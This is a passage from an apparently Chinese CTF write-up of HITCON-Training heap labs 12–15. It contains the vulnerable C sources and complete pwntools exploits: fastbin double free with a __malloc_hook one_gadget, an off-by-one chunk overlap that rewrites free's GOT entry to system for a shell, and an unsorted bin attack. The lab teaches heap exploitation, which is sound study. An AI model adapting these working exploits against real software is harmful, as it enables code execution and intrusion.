for(index = 0 ; index < 100 ; index++ ){
if(!flowerlist[index]){
flowerlist[index] = newflower ;
break ;
}
}
flowercount++ ;
puts("Successful !");
}else{
puts("The garden is overflow");
}
}
int del(){
unsigned int index ;
if(!flowercount){
puts("No flower in the garden");
}else{
printf("Which flower do you want to remove from the garden:");
scanf("%d",&index);
if(index < 0 ||index >= 100 || !flowerlist[index]){
puts("Invalid choice");
return 0 ;
}
(flowerlist[index])->vaild = 0 ;
free((flowerlist[index])->name);
puts("Successful");
}
}
void magic(){
int fd ;
char buffer[100];
fd = open("/home/babysecretgarden/flag",O_RDONLY);
read(fd,buffer,sizeof(buffer));
close(fd);
printf("%s",buffer);
exit(0);
}
void clean(){
unsigned index ;
for(index = 0 ; index < 100 ; index++){
if(flowerlist[index] && (flowerlist[index])->vaild == 0){
free(flowerlist[index]);
flowerlist[index] = NULL;
flowercount--;
}
}
puts("Done!");
}
int visit(){
unsigned index ;
if(!flowercount){
puts("No flower in the garden !");
}else{
for(index = 0 ; index < 100 ; index++){
if(flowerlist[index] && (flowerlist[index])->vaild){
printf("Name of the flower[%u] :%s\n",index,(flowerlist[index])->name);
printf("Color of the flower[%u] :%s\n",index,(flowerlist[index])->color);
}
}
}
}
void handler(int signum){
puts("timeout");
exit(1);
}
void init(){
int fd;
fd = open("/dev/urandom",0);
close(fd);
setvbuf(stdout,0,2,0);
signal(SIGALRM,handler);
alarm(TIMEOUT);
}
int main(){
init();
int choice ;
char buf[10];
while(1){
menu();
read(0,buf,8);
choice = atoi(buf);
switch(choice){
case 1:
add();
break ;
case 2:
visit();
break ;
case 3:
del();
break ;
case 4:
clean();
break ;
case 5:
puts("See you next time.");
exit(0);
default :
puts("Invalid choice");
break ;
}
}
}
|
1
2
3
4
5
6
7
|
[*] '/home/ubuntu/Pwn/HITCON-Training/LAB/lab12/secretgarden'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x400000)
Stripped: No
|
跟上一题类似, 但是这次没有了 change 的机会, 不过可以多次 free, 存在 Double Free
HITCON Training 这个 GitHub 仓库本身就比较老, 结合网上的 writeup 估计考的是 Fastbin Attack, 于是我就换了个老版本的 gblic 2.23, 这样省去了前面填 tcache 的过程
这道题本来的思路应该是构造 Double Free 修改 fd 指针指向某个函数的 GOT 然后修改为 magic 函数, 但因为 fastbin 对 chunk size 有限制, 我在 GOT 表内一直没有找到合适的偏移, 于是就换了种方法, 用 Unsorted Bin Leak + Fastbin Double Free 直接 RCE
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
|
from pwn import *
context.arch = 'amd64'
context.terminal = ['tmux', 'splitw', '-h']
context.log_level = 'debug'
p = process('./secretgarden_patch')
libc = ELF('./libc-2.23_debug.so')
def add(length, name, color):
p.sendlineafter(b': ', b'1')
p.sendlineafter(b':', str(length).encode())
p.sendlineafter(b':', name)
p.sendlineafter(b':', color)
def visit():
p.sendlineafter(b': ', b'2')
def delete(idx):
p.sendlineafter(b': ', b'3')
p.sendlineafter(b':', str(idx).encode())
def clean():
p.sendlineafter(b': ', b'4')
# 申请一个 0x30 fastbin chunk
# 防止后续 malloc(struct) 时切割 unsorted bin 内的 0x100 chunk
add(0x100, b'aa', b'aa') # 0
add(0x20, b'aa', b'aa') # 1
delete(0)
delete(1)
add(0x100, b'', b'a') # 2
visit()
p.recvuntil('[2] :')
# ASLR 最低 3 字节不会变化, add 时, 偏移的最低 1 字节会被覆盖为 \x0a, 这里将它恢复回来
addr = p.recv(6).ljust(0x8, b'\x00')
libc.address = u64(b'\x78' + addr[1:]) - 0x3c4b78
malloc_hook = libc.symbols['__malloc_hook']
one_gadget = libc.address + 0xf1247
log.info(f'__malloc_hook {hex(malloc_hook)}')
# x/x &__malloc_hook - 3 -> 0x0000007f
add(0x60, b'aa', b'aa') # 3
add(0x60, b'aa', b'aa') # 4
# 3 -> 4 -> 3
delete(3)
delete(4)
delete(3)
add(0x60, p64(malloc_hook - 27 - 8), b'aa') # idx = 3
add(0x60, b'aa', b'aa') # idx = 4
add(0x60, b'aa', b'aa') # idx = 3
add(0x60, b'a' * 19 + p64(one_gadget), b'aa')
# add(0x60, cyclic(30), b'aa')
p.sendlineafter(b': ', b'1')
p.interactive()
|
首先构造一个 unsorted bin chunk, 注意不要和 top chunk 挨着, 否则会被合并, 这里我在下面申请了个 fastbin chunk
然后通过 unsorted bin 释放后的 fd/bk 指针泄露 libc (参考 0xGame 2024 Week 4 UAF)
add 的时候必须得写入至少一个字节 (length > 0), 但这样会覆盖 fd 指针的最低 1 字节, 不过好在 ASLR 下 libc 的最低 3 字节不会变化, 所以 gdb 调试一下然后手动修改偏移就行
后续需要利用地址错位来构造符合 fastbin size 要求的 fake chunk, 我用的是 __malloc_hook
再往前 27 + 8 = 35 字节的地址
后面往 __malloc_hook
写入 one gadget 的时候还需要在前面添加 padding, 这个 padding 用 cyclic 找会快很多
先随便输一大段 cyclic(30)
, 配合 gdb 查看 __malloc_hook
当前的值, 然后执行 cyclic -c amd64 -l xxx
就可以计算出还需要多少 padding
Lab 13 - heapcreator
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
|
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
void read_input(char *buf,size_t size){
int ret ;
ret = read(0,buf,size);
if(ret <=0){
puts("Error");
_exit(-1);
}
}
struct heap {
size_t size ;
char *content ;
};
struct heap *heaparray[10];
void menu(){
puts("--------------------------------");
puts(" Heap Creator ");
puts("--------------------------------");
puts(" 1. Create a Heap ");
puts(" 2. Edit a Heap ");
puts(" 3. Show a Heap ");
puts(" 4. Delete a Heap ");
puts(" 5. Exit ");
puts("--------------------------------");
printf("Your choice :");
}
void create_heap(){
int i ;
char buf[8];
size_t size = 0;
for(i = 0 ; i < 10 ; i++){
if(!heaparray[i]){
heaparray[i] = (struct heap *)malloc(sizeof(struct heap));
if(!heaparray[i]){
puts("Allocate Error");
exit(1);
}
printf("Size of Heap : ");
read(0,buf,8);
size = atoi(buf);
heaparray[i]->content = (char *)malloc(size);
if(!heaparray[i]->content){
puts("Allocate Error");
exit(2);
}
heaparray[i]->size = size ;
printf("Content of heap:");
read_input(heaparray[i]->content,size);
puts("SuccessFul");
break ;
}
}
}
void edit_heap(){
int idx ;
char buf[4];
printf("Index :");
read(0,buf,4);
idx = atoi(buf);
if(idx < 0 || idx >= 10){
puts("Out of bound!");
_exit(0);
}
if(heaparray[idx]){
printf("Content of heap : ");
read_input(heaparray[idx]->content,heaparray[idx]->size+1);
puts("Done !");
}else{
puts("No such heap !");
}
}
void show_heap(){
int idx ;
char buf[4];
printf("Index :");
read(0,buf,4);
idx = atoi(buf);
if(idx < 0 || idx >= 10){
puts("Out of bound!");
_exit(0);
}
if(heaparray[idx]){
printf("Size : %ld\nContent : %s\n",heaparray[idx]->size,heaparray[idx]->content);
puts("Done !");
}else{
puts("No such heap !");
}
}
void delete_heap(){
int idx ;
char buf[4];
printf("Index :");
read(0,buf,4);
idx = atoi(buf);
if(idx < 0 || idx >= 10){
puts("Out of bound!");
_exit(0);
}
if(heaparray[idx]){
free(heaparray[idx]->content);
free(heaparray[idx]);
heaparray[idx] = NULL ;
puts("Done !");
}else{
puts("No such heap !");
}
}
int main(){
char buf[4];
setvbuf(stdout,0,2,0);
setvbuf(stdin,0,2,0);
while(1){
menu();
read(0,buf,4);
switch(atoi(buf)){
case 1 :
create_heap();
break ;
case 2 :
edit_heap();
break ;
case 3 :
show_heap();
break ;
case 4 :
delete_heap();
break ;
case 5 :
exit(0);
break ;
default :
puts("Invalid Choice");
break;
}
}
return 0 ;
}
|
patched with glibc 2.23
思路是 Off By One + Chunk Overlapping
edit heap 的时候 size 多加了个 1, 导致可以覆盖下个 chunk (struct heap) 的 size 位, 存在 Off By One
对于这道题目, 控制下一个 chunk 的大小, 可以使得 heap chunk 和 content chunk 的部分重叠
在 free 的时候, 会先 free content chunk, 然后再 free heap chunk, 后续申请时会先申请 heap chunk, 然后再申请 content chunk
因为这个时候 content chunk 和 heap chunk 的部分是重叠的, 所以可以通过 content chunk 间接修改 heap chunk 的内容, 在这里则是 heap struct 里面的 content 指针
修改指针之后便可以通过 show heap 泄露任意地址, 或者是通过 edit heap 写入任意地址
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
|
from pwn import *
context.arch = 'amd64'
context.terminal = ['tmux', 'splitw', '-h']
context.log_level = 'debug'
p = process('./heapcreator_patch')
e = ELF('./heapcreator_patch')
libc = ELF('./libc-2.23_debug.so')
def create(size, content):
p.sendlineafter(b':', b'1')
p.sendlineafter(b': ', str(size).encode())
p.sendlineafter(b':', content)
def edit(idx, content):
p.sendlineafter(b':', b'2')
p.sendlineafter(b':', str(idx).encode())
p.sendafter(b': ', content)
def show(idx):
p.sendlineafter(b':', b'3')
p.sendlineafter(b':', str(idx).encode())
def delete(idx):
p.sendlineafter(b':', b'4')
p.sendlineafter(b':', str(idx).encode())
free_got = e.got['free']
create(0x18, b'aa') # 0
create(0x10, b'aa') # 1
edit(0, b'/bin/sh\x00' + b'a' * 0x10 + p8(0x41))
delete(1)
payload = p64(0x0) * 3 + p64(0x21) + p64(0x40) + p64(free_got)
create(0x30, payload) # 1
show(1)
p.recvuntil('Content : ')
free_addr = u64(p.recv(6).ljust(0x8, b'\x00'))
libc.address = free_addr - libc.symbols['free']
system_addr = libc.symbols['system']
edit(1, p64(system_addr))
delete(0)
p.interactive()
|
注意第一次 malloc 的大小是 0x18, 在对齐之后 chunk 大小会变成 0x20, 同时 user data 部分会复用下一个 chunk 的 prev_size 位, 正是因为这个复用所以才能通过 Off By One 修改下一个 chunk 的 size 位
同时第二次 malloc 的大小是 0x10, 实际 chunk 大小为 0x20, 这个是为后续的 Chunk Overlapping 做准备, 如果不是 0x20, 那么后面再次 create chunk 的时候就无法实现 content chunk 和 heap chunk 的重叠, 因为此时会从 top chunk 中切割出 0x20 作为 heap chunk (通过 Off By One 覆盖到 top chunk 往后的位置也许可以? 但我还没试过)
Lab 14 - magicheap
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
|
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
void read_input(char *buf,size_t size){
int ret ;
ret = read(0,buf,size);
if(ret <=0){
puts("Error");
_exit(-1);
}
}
char *heaparray[10];
unsigned long int magic = 0 ;
void menu(){
puts("--------------------------------");
puts(" Magic Heap Creator ");
puts("--------------------------------");
puts(" 1. Create a Heap ");
puts(" 2. Edit a Heap ");
puts(" 3. Delete a Heap ");
puts(" 4. Exit ");
puts("--------------------------------");
printf("Your choice :");
}
void create_heap(){
int i ;
char buf[8];
size_t size = 0;
for(i = 0 ; i < 10 ; i++){
if(!heaparray[i]){
printf("Size of Heap : ");
read(0,buf,8);
size = atoi(buf);
heaparray[i] = (char *)malloc(size);
if(!heaparray[i]){
puts("Allocate Error");
exit(2);
}
printf("Content of heap:");
read_input(heaparray[i],size);
puts("SuccessFul");
break ;
}
}
}
void edit_heap(){
int idx ;
char buf[4];
size_t size ;
printf("Index :");
read(0,buf,4);
idx = atoi(buf);
if(idx < 0 || idx >= 10){
puts("Out of bound!");
_exit(0);
}
if(heaparray[idx]){
printf("Size of Heap : ");
read(0,buf,8);
size = atoi(buf);
printf("Content of heap : ");
read_input(heaparray[idx] ,size);
puts("Done !");
}else{
puts("No such heap !");
}
}
void delete_heap(){
int idx ;
char buf[4];
printf("Index :");
read(0,buf,4);
idx = atoi(buf);
if(idx < 0 || idx >= 10){
puts("Out of bound!");
_exit(0);
}
if(heaparray[idx]){
free(heaparray[idx]);
heaparray[idx] = NULL ;
puts("Done !");
}else{
puts("No such heap !");
}
}
void l33t(){
system("cat /home/magicheap/flag");
}
int main(){
char buf[8];
setvbuf(stdout,0,2,0);
setvbuf(stdin,0,2,0);
while(1){
menu();
read(0,buf,8);
switch(atoi(buf)){
case 1 :
create_heap();
break ;
case 2 :
edit_heap();
break ;
case 3 :
delete_heap();
break ;
case 4 :
exit(0);
break ;
case 4869 :
if(magic > 4869){
puts("Congrt !");
l33t();
}else
puts("So sad !");
break ;
default :
puts("Invalid Choice");
break;
}
}
return 0 ;
}
|
需要 magic > 4869 才能拿到 flag
edit heap 存在堆溢出, 可以结合 Unsorted Bin Attack, 将任意地址改成一个较大的数
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
|
from pwn import *
context.arch = 'amd64'
context.terminal = ['tmux', 'splitw', '-h']
context.log_level = 'debug'
p = process('./magicheap_patch')
e = ELF('./magicheap_patch')
def create(size, content):
p.sendlineafter(b':', b'1')
p.sendlineafter(b': ', str(size).encode())
p.sendlineafter(b':', content)
def edit(idx, size, content):
p.sendlineafter(b':', b'2')
p.sendlineafter(b':', str(idx).encode())
p.sendlineafter(b': ', str(size).encode())
p.sendafter(b': ', content)
def delete(idx):
p.sendlineafter(b':', b'3')
p.sendlineafter(b':', str(idx).encode())
magic = e.symbols['magic']
create(0x10, b'aa') # 0
create(0x90, b'aa') # 1
create(0x10, b'aa') # 2
delete(1)
prev_size = p64(0x0)
chunk_size = p64(0xa0)
fd = p64(0x10)
bk = p64(magic - 0x10)
payload = b'a' * 0x10 + prev_size + chunk_size + fd + bk
edit(0, len(payload), payload)
create(0x90, b'aa')
p.sendlineafter(b':', b'4869')
p.interactive()
|
https://elixir.bootlin.com/glibc/glibc-2.23/source/malloc/malloc.c#L3516
https://ctf-wiki.org/pwn/linux/user-mode/heap/ptmalloc2/unsorted-bin-attack/#unsorted-bin-attack_1
这个就不细说了, CTF Wiki 和源码已经写的很清楚了
Lab 15 - zoo
C++ Pwn
先咕一会